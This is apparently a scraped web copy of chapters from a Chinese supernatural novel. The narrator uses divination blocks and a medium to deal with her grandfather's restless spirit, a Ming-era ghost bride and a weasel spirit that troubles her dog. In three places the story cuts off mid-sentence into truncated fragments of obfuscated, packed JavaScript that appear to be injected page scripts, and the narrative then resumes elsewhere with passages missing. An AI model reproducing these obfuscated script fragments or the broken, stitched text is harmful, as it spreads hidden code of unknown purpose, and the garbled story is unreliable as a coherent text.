我咀嚼着这两个字,看向花花灵体。它微微偏着头,眼神清澈,仿佛在做一件再自然不过的事。泪水再次汹涌而出,“它是不是傻啊?!一个小猫崽儿,它懂什么续命挡灾!谁要它这么干!这个蠢东西……蠢透了……” “纯粹,所以无畏。” 千尘轻轻叹息,递过一张纸巾,“问问它现在吧。它得了你我之炁,又行了这‘替身’之事,灵体已非寻常阴魂。想去正经轮回,怕是路也不同了。” 我擦去满脸的眼泪,重新握紧茭杯,木头的纹理硌着掌心: “花花,你还想去投胎吗?” 阴卦。不想。 “那……你想留在我身边?” 问出这话时,心里那模糊的预感逐渐清晰。 圣卦。 一个闪电般的念头划过脑海,我脱口而出:“难道……你想当我的‘护法’?” 我所理解的护法,便是长久的陪伴与守望。 圣卦!掷地有声。 我看向千尘,寻求确认。她点了点头,目光中有肃然,也有感慨: “它已非凡猫之魂。猫性通幽,敏于阴阳,最擅引路安抚。日后你若再遇阴晦之事,或有无主亡魂、往生的小动物,它可以帮你指引、安抚、送它们一程。这于它,是修行,也是功德。” 我再次捧起茭杯,如同举行一个郑重的仪式,一字一句问道: “花花,你是否愿意,成为我的护法,相伴同行?” 茭杯落下。 一正一反。圣卦。稳稳当当。 心里那翻江倒海的滋味,终于缓缓沉淀。难过,为它两次短暂而决绝的生命;震撼,为这跨越生死、不计代价的守护;温暖,为这失而复得、以另一种形态的重逢。 它不会再跳上我的膝头,用带着倒刺的小舌头舔我的手指,也不会在清晨用毛茸茸的脑袋拱醒我。我再也触摸不到它阳光下温暖的皮毛。 可是,它就站在那里。在香案旁的阴影与光明的交界处,穿着那身有点滑稽却异常郑重的小小马甲,身姿挺拔。那双澄澈的眼中,盛着过往的依恋,此刻的坚定,与未来的守望。 我知道,我的花花,回家了。 它不再是那个需要我庇护、等待我归家的小小毛团,而是我未来走的这条路上的,坚定的伙伴。 32. 前尘往事 关于外婆和花花的事情结束后,姜太公提起的,外公在等外婆的事情,让我心里久久不能平静,我又想起了我童年的一个阴影——外公在我母亲幼年时便已离去,对我而言,他更像一个遥远而模糊的长辈。然而,我七八岁时的那些记忆,却将这个长辈刻画得异常清晰,甚至带着森森寒意。 那时父母离异已有数年,我随爷爷奶奶住在一起妈妈也在同一个小区,与母亲虽近,却不常相见。偶尔周末放假会去她那里住上几日,那是一栋老旧的二层员工宿舍。屋子是两室一厅的格局,进门是厨房,左手边第一间是我暂住的次卧,接着是妈妈的主卧,厕所正对主卧门。厨房直走便是客厅,连着阳台。而外公的遗像,就挂在客厅的墙上,正对着那片透光的地方。 那遗像是油彩画的,异常逼真,比相机照片更真实,那遗像不像是一幅死板的画,更像一扇窗,窗后藏着另一个维度的生命。小时候我总觉得画里的外公是活的,尤其是那双眼睛,无论我从哪个角度看去,都像在牢牢盯着我。那种被注视的感觉如影随形,只要妈妈不在家,我便会慌忙的将客厅的门紧紧关上,薄薄的门板仿佛是我与那幅画之间唯一的屏障,仿佛能给我带来一丝安全感。 恐惧在我心里扎了根,并迅速蔓延到梦境里。一个晚上,我梦见外公从那幅油彩画里爬了出来,眼神凶厉,直勾勾地锁住我,我吓得魂飞魄散,转身就从阳台翻了下去,在梦的虚空中没命地奔逃、飞跃、躲藏,而他始终在我身后,不疾不徐,却永远甩不脱。惊醒后,我浑身冷汗,大口喘气,又不敢跟妈妈说,只能用“日有所思,夜有所梦”来安慰自己。可这安慰很快失效了——同样的梦境,竟断断续续纠缠了我四五年。只要在母亲家过夜,那场无声的追逐必会如期而至,只是梦中逃跑的路线与方式在不断变换。我那时年纪太小,心底塞满了恐惧,和妈妈又不太亲近,更不敢向妈妈细说,只敢含糊地提过两次,妈妈只告诉我,让我多给外公上上香,让他别吓我。 还有一件事儿,大约是我十岁那年,我的小伙伴燕子和小波来母亲家找我玩耍,我们在客厅里笑闹,追跑。忽然,燕子像被定住了,手指着墙上的遗像,声音有些发颤:“楠木,你外公的脸色……怎么好像发青了?” 我脊背一凉,强作镇定地转头看去。果然,原本只是严肃的面容,在油画颜料微妙的变化下,两侧脸颊竟透出一股不自然的青灰色,让那份严厉平添了几分狰狞。我听见自己的声音有点颤抖:“可能……可能是油画时间久了,有点脱色吧。没事儿,没事儿……”话音未落,燕子又指着遗像下方的墙面,语带惊疑:“那墙怎么在渗水?好多小水珠。” 那一刻,我大脑“嗡”的一声,一片空白。恐惧像一只冰冷的手攥紧了我的心臟。那天的阳光明明很好,可燕子的话让整个客厅的温度骤降。我顿了半晌,才干巴巴地挤出理由:“大概是回南天吧,潮气重。这儿不好玩,我们去阳台晒太阳。” 我们三个逃也似的挤到阳台上。盛夏的烈日当空照着,晒在身上却感觉不到丝毫暖意,只有一种粘腻的、无处遁形的冷。我们谁也没再说话,一种默契的恐惧在我们之间弥漫。没过多久,大家便心照不宣地离开了那个房子。 时光荏苒,我长到十五六岁。一次清明祭祖归来的车上,小舅舅和妈妈都在。不知怎的,那段童年旧事浮上心头,我装作不经意地提起:“小时候,总觉得外公那幅遗像特别吓人,还老做噩梦。” 小舅舅听了,叹了口气:“你外公生前是老师,对学生、对儿女都严厉,我小时候也怕他。那幅画画得太像了,特别是神态,你要是怕,回头拿到外婆家去吧。”我默默点头,心里却盘旋着更多的疑问,但见家里人对这些灵异之事态度淡然,我也只好将困惑压回心底。 此后十多年,风平浪静,那些儿时的恐惧似乎真的随着遗像的移走而消散了。直到前阵子,处理外婆的事后,被姜太公说的那一句“你外公在等她呢”,就如同投入深潭的石子,骤然激起层层叠叠的回忆。不安感再次攫住了我。我想真有鬼神的话,我必须知道,外公是否已经去投胎转世。 我拨通了千尘的电话。“有没有办法知道,去世的亲人有没有去投胎转世?” “这个简单,”千尘回答得很干脆,“请地府的官员上来问一问就行。是你要问吗?” “是,我想问我外公的事。” “那你得提前准备些金元宝,办事要用的。”她补充道。 我很快网购买好了五袋未拆封的小金元宝,板板正正地码在我房间的角落。约好千尘晚上过来。 入夜后,千尘骑着小电驴风尘仆仆的来了,进门并不多话,她直接点燃三根香,手持我的卦(一种用于占卜的器具),低声念诵起来。片刻,她周身的气息似乎沉静下来,对我说:“来了,是位地府判官。你自己问吧。”随即把香插入香炉,将卦递给我。 房间里的温度并无明显变化,只是空气中莫名有些滞重、发闷。我接过卦,跪在香炉前,试探着问:“请问来的是判官吗?” 卦象显示:阴卦(表示否定或不对)。 千尘在一旁轻轻笑了:“你说话礼貌点儿,再问。” 我稳了稳心神,恭敬问道:“请问是判官大人吗?” 卦象显示:圣卦(表示肯定或正确)。 我心下嘀咕,地府的规矩还真讲究。收敛心思,直奔主题:“判官大人,我想请问,我的外公是否已经投胎转世了?” 阴卦。 没有。我的心沉了沉。“那他现在在哪里?是在我外婆身边吗?” 圣卦。 “他是在等外婆一起走吗?” 圣卦。 “他……怨气大吗?” 圣卦。 我的心跳漏了一拍。“他是想让外婆早点走吗?” 阴卦。 这时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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我找来一个铁桶,拉着千尘走到楼下空地,将五袋金元宝连同之前斗法剩下的一些黄表纸悉数放入。点燃后,火焰升腾,奇异的是,桶边竟凭空卷起小小的旋风,将纸灰牢牢约束在桶内范围,一丝一毫都没有飘散出来,火光映照下,光影摇曳,仿佛有无形的目光正注视着这一切。 烧完后,看着满桶灰烬,我问千尘:“这些灰怎么处理?倒垃圾桶吗?” “不行,”千尘摇头,“得撒到流动的河水里。过两天我陪你去吧。” 我一直沉默的站在那里,看着这灰烬冷却,然后将这些纸灰仔细收进一个黑色垃圾袋。就此外公的事,总算有了一个模糊的答案,我得知他真的没有去转世投胎,一直在外婆身边,心中还有一些意义不明的怨气,我不能完全知晓缘由,但现在我所能做的,就是借助中元法会替他超度消除些怨气,希望他能早得超生。虽然心里也依旧惦记着为什么他要追杀我这个问题,但是我知道未来有一天有机缘,我会得到这个答案。 33. 前世新娘 阿飞下班推门进来时,玄关的灯正晃着昏黄的光。我和千尘蹲在客厅中央,地上摆着卦杯,袅袅的香灰落在地砖缝里,阳台外还堆着没烧完的金元宝——纸灰被夜风卷着,扑在玻璃上沙沙作响。 他皱了皱眉,眉峰拧成一道深痕,却没说一个字,换鞋,放包,动作轻得像怕惊扰了什么。直到千尘告辞离开,玄关的门“咔嗒”一声合上,这满屋子的诡异才终于有了一丝人间的声响。 沉默在空气里漫了很久,久到香都燃尽了半截。平时闷葫芦似的阿飞,脚尖在地板上碾了碾,终于挤出一句话,声音涩得像蒙了层灰:“这些玄乎其神的事情……你还是少接触点比较好。唉,我看你是迷进去了。” 听到他说出这句话,一股无名燥火就蹭地就窜了上来,就像被点燃的纸钱,烧得我喉咙发紧,我猛地拔高声音,尾音都带着颤:“这些事情,也不是我能决定的!它发生了我就得处理啊!” 话出口的瞬间,我就后悔了,看着阿飞骤然僵住的脸,我恨不得咬掉自己的舌头,他什么都不知道,也感知不了——他只看到我对着空气疯魔,换作任何一个唯物主义者,或是曾经的我,都会觉得这一切荒唐透顶吧。 我重重叹了口气,肩膀垮下来,声音软得像一滩水:“唉……算了,我知道了,你放心,我是清醒的。” 阿飞也跟着叹气,那声叹息混着窗外的风声,沉得让人心慌。他抬起手,指尖都快要碰到我的肩膀了,却又像被烫到似的收了回去,只低声重复:“我只是……担心你而已。” 那一夜,我们背对着背躺在同一张床上,中间隔着半尺的距离,像隔了一条看不见的河。窗外的月光漏进来,在地板上淌成一道冷痕,谁都没再说话。 平静的日子只过了两天,角落里那袋纸灰像个扎眼的疮疤,灰扑扑的,沾着点没烧透的金箔碎片,看得我心里发堵,总觉得那袋子里裹着些说不清道不明的东西,在空气里丝丝缕缕地渗着寒意。犹豫再三,我还是摸出手机,给千尘发了条微信:“有空陪我去江边撒纸灰吗?” 屏幕几乎是立刻亮起来的:“今晚吧,我过来找你。” 下班后,我拎着那个灰尘扑扑的黑色塑料袋,坐上千尘的小电驴,晚风凉飕飕地钻进衣领,我忍不住打了个哆嗦,心里莫名地发毛,攥着塑料袋的手指都泛了白。“诶……到底为什么非要把纸灰扔流动的水里去啊?” 千尘的声音从前面飘过来,被风扯得断断续续:“阿飘都爱走水路的。这些烧完的纸灰里还有些残渣,那些无主的孤魂野鬼,能拿它当碎银子用用,也算是布施的一种了。哦,对了,还有一种说法——活水可以净化一些东西。” “噢~原来是这样啊……”我若有所思地点点头。 我们骑到江边时,太阳已经快落山了,江面上泛着暗红色的波光,像打翻了的胭脂盒,把流水染得一片凄艳。我找了个有台阶的位置,蹲下身开始撒纸灰。灰白色的粉末飘散在水面上,打着旋儿往下游漂去,像一群无根的游魂。 就在我撒完最后一捧,准备起身时—— 千尘突然一把将我拉起来!她的力气大得惊人,拽着我就往回走,声音压得低低的,带着一丝急促:“别回头!快走!” 我被她拽得一个踉跄,心脏“咚咚”直跳:“怎么了?你看到什么了?!” 她抿紧嘴唇一言不发,脚步飞快,骑上了车,一路上她都没说话,直到小电驴停在我家楼下,她才长长吐出一口气,脸色有些发白:“你刚蹲在那儿撒纸灰的时候……我看到一堆人脸——还有些长得奇形怪状的东西——从周围水面下……全都涌向你撒灰的位置,黑压压的一片……所以我让你千万别回头,怕你沾染上不好的东西。” 我听完,只觉得一股寒意从脊背爬上来,声音都有些发颤:“这么……这么夸张吗?我还好看不见……要不然非得吓死不可!” “我虽然已经习惯了,”千尘揉着太阳穴,“但是突然看到那么多……唉,我也是吓了一跳,实在是太多了,下次撒纸灰还是白天去吧,晚上阴气太重了。” 送走千尘后,我脑海里还想着她所形容的画面,久久难以平静。 第二天上班时,我总觉得心神不宁,上午在药房配药,手里掰安瓿瓶的时候不知怎么的,就把大拇指划了一下——“哎呀!”指尖传来刺痛,血立刻流了出来,滴在了药房的地面上。 我愣住了。奇怪……我已经很多年没有因为这种小事受伤了啊。 虽然觉得意外,但也没太放在心上,随手贴了创口贴继续工作,可下午更邪门了——关门时手指被夹了一下,疼得我倒吸一口凉气;转身时又莫名其妙绊了一跤,膝盖磕得生疼。 不对劲……今天怎么这么倒霉? 回到家做晚饭时,我心里还在嘀咕。正切着菜,余光突然瞥见一个红色的影子“嗖”地从客厅窜了过去!速度快得像一阵风,只留下一抹模糊的裙角轮廓,艳得刺眼。 我猛地顿住,菜刀悬在半空。缓缓转过头——什么都没有。 可刚才那抹红色……那么清晰。 我放下菜刀,手有点抖。洗了洗手,还是决定给千尘发消息,指尖都带着颤:“我刚才好像看到个红影子,一闪就没了,是不是江边跟回来什么东西了?” 千尘的电话几乎立刻打了过来,声音沉得发紧:“我刚好在附近吃饭,我马上过来。” 半小时后,千尘推门进来,一进门就皱紧了眉。目光在客厅里扫了一圈,最后定格在我身前的空处,脸色一点点变了。 “是个穿红嫁衣的女人。”千尘的声音压得极低,眼神里带着惊悸,“明制的款式,盖着红盖头,流苏都蔫蔫的。嫁衣上的缠枝莲绣纹,红得发黑,她就站在你前面…… 我后背的寒毛“唰”地全竖起来了,猛地往旁边躲,声音都在抖:“她是谁?为什么跟着我回来了?!” “应该是江边撒纸灰时,她就盯上你了。”千尘走到我身边,“那时候水里鬼太多,我没注意到她。她身上没什么凶气,就是执念太重……跟你回来的原因还不清楚,但是感觉对你并没有太多恶意。” 我腿都软了,扶着桌子才站稳,颤声说:“那我今天倒霉受伤……是她干的?” 千尘摇摇头,又点点头:“不算她故意的,应该是她阴气过重,对你有些影响。” 我心里还有些不确定,于是上香问姜太公,我对着香炉方向问:“太公啊……我家里是不是……来了个红衣服的‘人’?” 啪嗒落地:圣卦。 我心里一紧,继续问:“是……是个女的吗?” 圣卦。 “我今天又出血又倒霉……和她有关系吗?”我的声音不自觉地发颤。 圣卦第三次落地。 心里一阵烦闷涌上来,我把卦往桌上一放,自暴自弃地念叨:“唉……我真不想再掺和这些事了!我感觉完全处理不完,她没恶意的话,在就在吧,我、我不想管了……” 千尘看着我身前的空处,轻轻叹了口气:“你自己决定吧,如果你觉得想处理就联系我吧。” 第三天上班时,我总觉得心慌意乱,配药时脑海里突然闪过一个画面——花花静静站在那里,手臂上缠着绷带,脸上也带着伤口,就那么看着我,眼神可怜兮兮的…… 我手一抖,差点打翻药瓶,是幻觉吗?还是…… 强忍着这种不安熬到下班,我几乎是冲回家的。点香时手都在抖:“花花……是不是受伤了?” 圣卦。 “是手臂和脸上吗?!”我焦急的问。 圣卦。 脑子里“嗡”的一声——是真的!那个画面是真的! 怒气“噌”地窜了上来,我咬着牙继续问:“是和那个红衣女人有关系吗?!” 圣卦。 我气得浑身发抖,抓起手机就给千尘打电话,声音又急又怒:“千尘!快帮我看一看,花花是不是出事儿了?!” 电话那头沉默了几秒,千尘的声音沉了下来:“花花呀……咦?它和谁干架去了?手都被打折了?” 她这么一说,我最后的侥幸也破灭了——我看到的不是幻觉! 我愤怒地把问卦的结果说了,千尘在电话那头叹了口气:“你也真够可以的……不是说不管了吗,怎么一波未平一波又起啊,唉,明天再来找你吧,今天我还有事儿。” 挂了电话,我气得胸口发闷,我倒霉就算了……本来是不想管的啊,但是她怎么还欺负我家猫啊!还把它打成那样! 越想越气,我对着空气咬牙切齿道:“我不管你是谁!你识相点的,最好赶紧滚蛋!别逼我摇人把你打到魂飞魄散!” 空气死一般寂静,没有回应。 脑海里想着花花受伤的样子,我心痛得要命。忽然灵光乍现,想起那把真武赐给我的桃木剑——或许…可以试试? 我小心翼翼地拿起剑,试着调动体内的“炁”,随着我意识深入,脑海中隐约浮现出一面绿色的令旗,似乎在说:它能治疗伤口。 死马当活马医吧!我集中意念,想象着令旗的力量流向花花…… 不知是不是心理作用,我仿佛真的看到它身上的伤口在慢慢愈合,最后它竟然在我眼前蹦跳了几下! 我赶紧拿起卦,声音发颤:“花花……你的伤口都好了吗?” 圣卦。 居然真的有用!我又问:“是……是她主动攻击你的吗?” 阴卦。 这时,脑海里突然响起一个细细的声音,带着委屈:“昨天你受伤了……我看她不爽,就、就去抓了她几下……但是她修为比我高,把我揍了一顿……” 我鼻子一酸,又气又心疼:“你是不是傻啊!我都不计较这些,你又没修为,你冲上去干嘛啊。” 脑海里,花花做了个摊手摇头的姿势。 我无语=_=。 第二天下午,千尘早早来到我店里。她上下打量我一番,松了口气:“那个女人没在你身边。” “在不在不是重点”我握紧拳头:“我本来都不想管她的……可她居然把花花打得那么惨!这我绝对不能忍!” 回到家,千尘刚踏进门就突然停住了,一把拉住我:“等等——她在这儿。” 我僵在原地,声音发干:“在、在哪儿?” “你面前。”千尘的目光钉在我身前的空处,眼神复杂,“还是那身红嫁衣,盖头垂着,流苏穗子簌簌地抖,她看着你,眼神里没什么怨气,只有一股子化不开的执念。” 我“嗖”地往后跳了一步,寒毛都竖起来了:“我的天,你能不能别用这么平静的语气说这么吓人的话啊!她到底有什么执念啊?非要跟着我。” “我实话实说嘛,具体还不清楚。”千尘盘腿坐下,“我先点香看看情况。” 我点点头,屏住呼吸看她操作。 三根香点燃,青烟袅袅升起,千尘很快进入入定的状态,我坐在一旁,大气都不敢出,香火烧得空气微微发烫,我看不见那个红衣女人,却能感觉到身前的空气,似乎比别处更凉。 不知过了多久,千尘缓缓睁开眼睛,眼神复杂,说了句:“她的执念是你老公,阿飞。”话音刚落,红衣女子带着浓浓悲戚感的声音响起:“我记得我与他成婚那日是崇祯十五年八月初七,我爹是位茂才, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千尘突然眼睛一亮,一拍大腿:“我懂了!你是想让我送你去太乙救苦天尊那儿吗?” 圣卦。 我困惑极了:“她为什么不去地府,偏要去东极妙严宫啊?” 千尘的声音又变得飘忽:“漂泊太久了,怨气重,怕地府不收。东极妙严宫清静,我想在那儿待一阵子,等心里的执念淡了,再去投胎。” 我点点头:“也好……那她需要钱吗?我可以给她烧些元宝……” “你需要钱吗?” 阴卦。 “你什么都不要?” 圣卦。 千尘看向我:“看来……她的执念和心愿就只想见阿飞一面了。” “唉……看缘分吧。”我苦笑,“他今天加班,肯定不会为这事儿回来的……” 千尘起身,重新点了三炷香,开始轻声召请太乙救苦天尊,过了一会儿,她轻声说:“嗯……来了。” 她低声将事情说了一遍,掷杯得到了圣杯。 得到同意后,就在她准备直接送那女子离开时,我突然开口说:“等等……这次,让我来送她吧,毕竟和阿飞也有关系,我上晚课度化一下吧,然后再给她烧些金元宝,至于收不收是她的事……给这些是我的一份心意,她也是一个可怜的姑娘。” 千尘深深看我一眼:“也好。你想走个完整的流程,那就按你的心意来。” 我学着之前墨宇教的方法,做了个简易牌位,端端正正写下“太乙救苦天尊之神位”,然后焚香,盘腿坐下,开始诵经。 晚课持续了四十多分钟,结束后,我拿起元宝和纸钱,一边烧一边轻声说:“对不住啊……阿飞今天可能来不了了,你放下这些执念吧,一切都过去了……你去那儿了就好好清静清静吧……” 火光跳跃着,千尘望着我身前的空处,眼神柔和了些,她知道,那红衣女人正站在火光里,听着我的诵经声,三百年的执念,在袅袅青烟里一点点消散。 就在这时—— “咔哒。” 门锁转动的声音! 我惊得手一抖,纸钱差点全掉进火盆里?,门开了,阿飞站在门口,一脸疑惑:“你们……在干嘛?” “你、你不是加班吗?!”我结结巴巴。 “被放鸽子了,就提前回来了。”阿飞拍拍身上的灰,看看我又看看千尘,“你们这是……” 我和千尘你一言我一语把事情说了。阿飞听完,表情从疑惑变成难以置信,最后是深深的茫然。 我拿起一叠纸钱递给他:“不管信不信……你给她烧点纸吧,她太可怜了……她等了你300多年啊,你这刚好回来,也算是圆了她唯一的心愿。” 阿飞沉默许久,最终还是接过了纸钱。火光映着他的脸,他的表情很复杂——困惑、犹豫、冷漠? 纸钱烧起来的时候,千尘轻声说:“好了,人你也见到了,你心愿已了吧……” 接着女子幽幽声响起:“他……什么都不记得了。” 纸钱烧完了,灰烬在盆里打着旋儿。 “谢谢。” 我和千尘听到这声后,静静望着空中良久,我轻声说:“她走了……阿飞也算是送了她最后一程。” 她转过头看我,眼神悠远:“唉……人的执念啊……” 我望着渐渐熄灭的火光,心里空落落的。虽然她伤过花花……可她的经历,也真的是太苦了。 或许今天的这一切……真的就是冥冥中的缘分吧。 我也轻轻叹了口气,那叹息很轻很轻,飘散在夜色里。 34. 大尾巴黄仙儿 那红衣小姐姐的事尘埃落定后,我心里却像被一团湿棉花堵着,沉甸甸的,说不清是感慨还是惆怅。睡前,我侧过身,望着黑暗中阿飞模糊的轮廓,轻声问:“你对这事儿……到底怎么看的?”阿飞沉默片刻,声音里透着惯有的疏离:“没感觉,还是不太信这些。”我听罢,咽回了更多想说的话,只觉一股闷气无处可泄。思绪飘向那抹游荡了三百多年的红色身影——她是被岁月凝固的怨气所困?是为一段未放下的执念所缚?还是二者纠缠,化成了这绵长的孤寂?越想,胸口越是发闷。 这两个多月,离奇事件如潮水般涌来又退去,我对“非常理”的接受度竟被硬生生磨高了许多。心底虽还藏着质疑的根芽,却已不会轻易被惊涛骇浪掀翻,生活就在这真幻交织的波澜里起伏,心绪万千,但现实的日子照旧碾着轨道前行,我依旧早起,诵经、抄经、练功、吃早饭、买菜、上班……规律得仿佛一切惊涛骇浪都只是插曲。 --- 第二天,上班第一件事便是遛寄养的狗,我牵着三条兴奋的小家伙,准备过马路去对面的小公园溜达,我耳朵里塞着耳机听着音乐,酷狗音乐随机推送着歌曲,正当我走到马路中央,耳机里陡然炸开一段高亢嘹亮的东北请神调,鼓点铿锵,唢呐激昂,带着股野性的生命力,我听得兴起,下意识跟着哼了两句。 就在这一刹那! 一股强烈的过电感猝不及防地从脊椎窜上天灵盖,浑身汗毛倒竖!第六感疯狂报警——有东西在碰我! 当时手里还攥着三条狗绳,身在车流不息的马路中央,我只能强压心惊,加快脚步,几乎是拖着狗子冲到对面路边。站稳后,我大口喘气,那种被触碰的诡异体感却如潮水般退去,消失无踪。我皱紧眉,心里直犯嘀咕:“怎么回事?错觉?”晃了晃头,只当是昨晚没睡好,顺手切了歌,继续遛狗。 上午一切如常,那点小插曲很快被我抛诸脑后。 中午,我在二楼午休正沉,楼下突然传来阿健变了调的惊呼:“楠木!楠木!不好了!糖糖尿失禁了!” 我瞬间惊醒,心脏狂跳,连滚带爬冲下楼,急问:“在哪儿?怎么回事?!” 阿健指着旁边呆站着的糖糖,一脸不可思议:“就刚才,它好端端站着,尿突然就流下来了,连蹲都没蹲!”糖糖是我两年前收养的古牧犬,十岁左右,一向温顺乖巧。我蹲下查看,它屁股后方的长毛湿了一大片,眼神却依旧无辜温驯。 “是不是意外?早上还好好的。”我疑惑道。 阿健半开玩笑:“糖糖年纪也不小了,该不会是……快不行了吧?” 我心里一揪,瞪了他一眼:“别瞎说!”手下却仔细检查起来,“先不管,屁股毛都湿透了,我得赶紧给它洗个澡,不然非得捂出皮肤病不可。” 六十多斤的长毛古牧,洗吹一趟下来,我累得胳膊发酸。刚收拾停当,喘口气的功夫,就在我眼皮子底下,糖糖又一次毫无征兆地站着尿了出来! “糖糖!”我惊愕地看着地上迅速扩大的水渍,又看向它那依然无辜的脸,一股强烈的不对劲感涌上心头,顾不上抱怨,认命地再次抱起这大家伙去冲洗。第二次洗完,我瘫在大厅椅子上,脑子嗡嗡作响,累,更觉得蹊跷。带它上楼做了基础检查,并无明显病症,真的只是“尿失禁”。 还没等我想出个头绪,它又来了第三次。 我看着再次蔓延开的水迹,心态彻底崩了,咬牙切齿地拿出手机,火速下单了最大号的狗狗尿不湿。“不管你是真病还是中邪,这个必须备上了!” 第三次给它洗澡时,我累得眼前发花。忽然,脑海里毫无征兆地闪过一幅画面:一条毛茸茸的、深棕色的大尾巴,在虚空中悠然扫过。 我甩甩头,以为自己累出了幻觉。可那画面异常清晰,甚至能看清楚根根分明的毛发,我定了定神,强迫自己凝神“看”去——只见那大尾巴挪开,后面露出一张脸:圆溜溜、毛茸茸,似松鼠又似黄鼠狼,一双黑亮的豆眼正好奇地与我“对视”了一下。 我倒抽一口凉气,猛地收回心神,还在上班,无法立刻起卦求证。我强压惊疑,拿出手机,拍了一张糖糖安静趴着的照片,发给千尘。 我刻意隐瞒了自己的所见,只写道:“急!快看看糖糖身边有没有不干净的东西?它今天莫名其妙尿失禁三次了,我洗澡洗到崩溃了!” 等待回复的几分钟格外漫长。很快,手机一震。 千尘:“你又招惹什么了?我看到一条毛茸茸的大尾巴棕色的……好像是个松鼠?还挺胖的。” 我心脏一跳,回复:“松鼠?你确定吗?会不会是……黄鼠狼?” 过了一会儿,千尘的消息过来:“黄鼠狼尾巴有这么粗吗?不过……它好像在用爪子戳你家糖糖的屁股欸。” 戳屁股?! 一股邪火“噌”地冲上天灵盖!我手指用力敲击屏幕:“这群没完没了的家伙!真当我好欺负是吧?连我的狗都不放过!故意的吧?你能灭了它吗?” 千尘回复:“冷静点!它气息不凶,有点奇怪,我晚上去你家看看。” 我气得胸口起伏,对着糖糖的方向压低声音狠狠道:“我不管你是谁,再敢折腾我的狗,我跟你没完!” 不知道是不是这句狠话起了效,直到下班,糖糖竟真的没再失禁。 --- 晚上,阿飞加班未归。千尘如约而至,见我一脸晦气,噗嗤笑了:“你这吸引事件的体质也是没谁了,连环案啊。” 我憋着火:“我最近够安分了,也不搭理这些,它凭什么搞我的狗?我真想……” “打住打住,”千尘摆手,“你先别急着判刑,我来审审。” 她点上香,熟练的拿上了我的茭杯,点好香,我们盘腿而坐,气氛陡然肃静下来。我率先拿起茭杯,沉声问:“现在,我家里是不是有个黄仙(黄鼠狼)?” “啪!” 圣卦(表示肯定)。 我火气又起:“能请走或处理掉吗?” “啪!” 阴卦(表示否定或不宜)。 “为什么不行?!” 我提高音量。 这时,一直闭目感应的千尘忽然开口,语气有点古怪:“它说……它想要吃鸡。” 我简直气笑了:“哈?把我折腾得人仰马翻,还想要鸡吃?不能赶不能杀,还得供着?它哪儿来的脸?!” 千尘却笑了:“你别急,等等……它好像不是来捣乱的。”她收敛笑容,再次静默感知。片刻后,她睁开眼,眼神变得有些奇妙:“楠木,你老实交代,今天早上是不是干了什么特别的事?尤其是……听了什么?” “早上?” 我一头雾水,“就跟平常一样遛狗啊……哦!听了段音乐,酷狗推的东北请神调,我还跟着哼了。” “这就对了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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阴卦。“”三百岁以下?”阴卦。“三百岁以上?” 圣卦。 “四百岁?” 阴卦。 “三百多岁?” 圣卦。 “果然还是个‘年轻人’,” 我叹了口气,语气缓和下来,“以后我这儿救治动物,你可得多出力护持,积累功德,共同进步。” 这一次,却得了阳卦(通常表示肯定,但略有保留)。 “咦?你不愿意?” 我疑惑。 忽然灵光一闪:“你的意思是,会尽力,但不能百分百保证所有事,对吗?” 圣卦。 “够谨慎,也好。” 我点点头,这才像修行者的态度。 千尘见事已明朗,打趣道:“恭喜你啊,哼段小调就‘招募’了一位专业对口的小伙伴。不过你下次可别瞎哼了,万一招来脾气大的呢?好在这次是只有技术的‘好’仙儿,就是沟通方式……别致了点。” 我苦笑摇头:“之前被整怕了,条件反射,鸡我会给它备好,算是赔礼和谢礼。”这个月你还会去道观住宿吗? 千尘点头又摇头:“你知道的,我不会再去过夜了,如果那里有需要我帮忙的,我可以去,不留宿了。” 我表示理解,心想,这一次去道观恐怕就只有我一个人独自过去了。 35. 扶乩(上) 这个月去道观做义工的计划最终还是没能全员到齐——知南和千尘都因故缺席,最后只剩我和墨宇两个闲人前往。我们约好,等我下班后直接驱车过去,说起来,我和墨宇也有些日子没好好联系了,而近期那些接二连三找上门的玄学事件,正一点点蛀空我牢不可破的唯物主义认知,我总在某个恍惚的瞬间怀疑,自己是不是掉进了某本修仙小说的设定里,连脚下的路都透着几分不真实的悬浮感。 下班出发时已是晚上七点多,天完全黑透了。车子碾过蜿蜒的山路,两旁的树林黑黢黢的,枝桠的影子映在车窗上,像乱晃的手,车灯劈开眼前的黑暗,光柱边缘很快就被夜色吞进去,看着特别没底气。车厢里的暖风开着,我和墨宇有一搭没一搭聊近况,他说着,我应着,但我的目光却总往窗外瞟——那些树影晃得人心里发毛。 “最近我遇到了很多事儿,一件接一件的。”我握着方向盘,手心有点潮,声音在封闭的车厢里显得发飘,“有时候我都分不清哪些是真的,哪些是我臆想出来的。墨宇,我真感觉我快成疯子了。” 墨宇靠在副驾驶座上,没看我,眼神盯着窗外掠过的树影。“万物有灵,”他的声音比平时沉,带着种说不出的笃定,“你现在感知到的,或许正是常人碰不到的层面,这世界,远比课本上写的复杂。” 话音刚落,一阵刺骨的寒意突然顺着后颈爬上来,我打了个激灵,低头看空调面板——26度,没毛病,车窗关得严严实实,这股冷却像针似的往骨头里钻。我刚想开口问墨宇,余光就瞥见他猛地坐直,眉头拧成疙瘩,眼神锐利得吓人,直勾勾盯着前方的黑暗。 “你感觉到有东西上来了吗?”他声音压得极低,带着我从没听过的严肃。 我心里咯噔一下,握着方向盘的手更紧了。山路弯弯曲曲,不敢分心,只能飞快摇头:“没有,就是突然有点冷。你看见什么了?” 